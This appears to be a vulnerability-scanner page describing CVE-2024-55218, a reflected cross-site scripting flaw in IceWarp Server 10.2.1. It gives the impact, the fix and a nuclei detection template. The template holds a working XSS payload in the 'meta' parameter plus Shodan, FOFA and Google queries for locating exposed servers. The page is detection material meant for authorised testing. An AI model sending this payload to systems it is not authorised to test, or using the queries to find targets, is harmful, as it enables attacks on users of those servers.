IceWarp Server 10.2.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

IceWarp Server 10.2.1 is vulnerable to Cross Site Scripting (XSS) via the meta parameter.

Impact

Attackers can inject malicious JavaScript through the meta parameter, executing arbitrary code in victim browsers when they visit crafted URLs.

Fix

Update IceWarp Server to a version later than 10.2.1 that addresses the reflected XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?meta=%3Csvg%2Fonload=confirm%28document.domain%29%3E
Positive when: contains_all(body, "<svg/onload=confirm(document.domain)>", "IceWarp") and contains(header, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-55218 -u <target>

The full check

id: CVE-2024-55218

info:
  name: IceWarp Server 10.2.1 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    IceWarp Server 10.2.1 is vulnerable to Cross Site Scripting (XSS) via the meta parameter.
  impact: |
    Attackers can inject malicious JavaScript through the meta parameter, executing arbitrary code in victim browsers when they visit crafted URLs.
  remediation: |
    Update IceWarp Server to a version later than 10.2.1 that addresses the reflected XSS vulnerability.
  reference:
    - https://resources.s4e.io/blog/icewarp-server-10-2-1-reflected-xss-vulnerability-cve-2024-55218/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55218
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-55218
    cwe-id: CWE-79
    epss-score: 0.00718
    epss-percentile: 0.54165
  metadata:
    verified: true
    max-request: 1
    vendor: icewarp
    product: mail_server
    shodan-query:
      - http.title:"icewarp server administration"
      - http.title:"icewarp"
      - cpe:"cpe:2.3:a:icewarp:mail_server"
    fofa-query:
      - title="icewarp server administration"
      - title="icewarp"
    google-query:
      - intitle:"icewarp server administration"
      - intitle:"icewarp"
      - powered by icewarp 10.2.1
      - powered by icewarp 10.4.4
  tags: cve,cve2024,icewarp,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?meta=%3Csvg%2Fonload=confirm%28document.domain%29%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<svg/onload=confirm(document.domain)>", "IceWarp")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from